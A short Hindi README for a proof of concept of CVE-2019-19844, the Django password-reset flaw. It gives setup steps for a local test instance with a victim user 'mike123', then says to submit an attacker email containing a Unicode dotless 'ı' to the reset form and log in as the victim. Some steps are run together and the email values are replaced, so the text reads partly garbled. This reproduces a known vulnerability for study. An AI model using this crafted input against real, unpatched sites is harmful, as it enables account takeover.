
CVE-2019-19844 के लिए PoC(https://www.djangoproject.com/weblog/2019/dec/18/security-releases/)
CVE-2019-19844 के लिए PoC
django_cve_2019_19844_poc)DJANGO_DATABASE_NAME पर सेट करें (उदा. export DJANGO_DATABASE_NAME=django_cve_2019_19844_poc)pip install -r requirements.txt && ./manage.py migrate --noinput चलाएँshell कमांड के साथ निम्नलिखित उपयोगकर्ता बनाएँ:>>> from django.contrib.auth import get_user_model
>>> User = get_user_model()
>>> User.objects.create_user('mike123', '[email protected]', 'test123')
./manage.py runserver चलाएँhttp://127.0.0.1:8000/accounts/password-reset/ खोलेंmı[email protected] इनपुट करें (हमलावर का ईमेल), और भेजें बटन पर क्लिक करेंmike123 उपयोगकर्ता के रूप में लॉगिन करें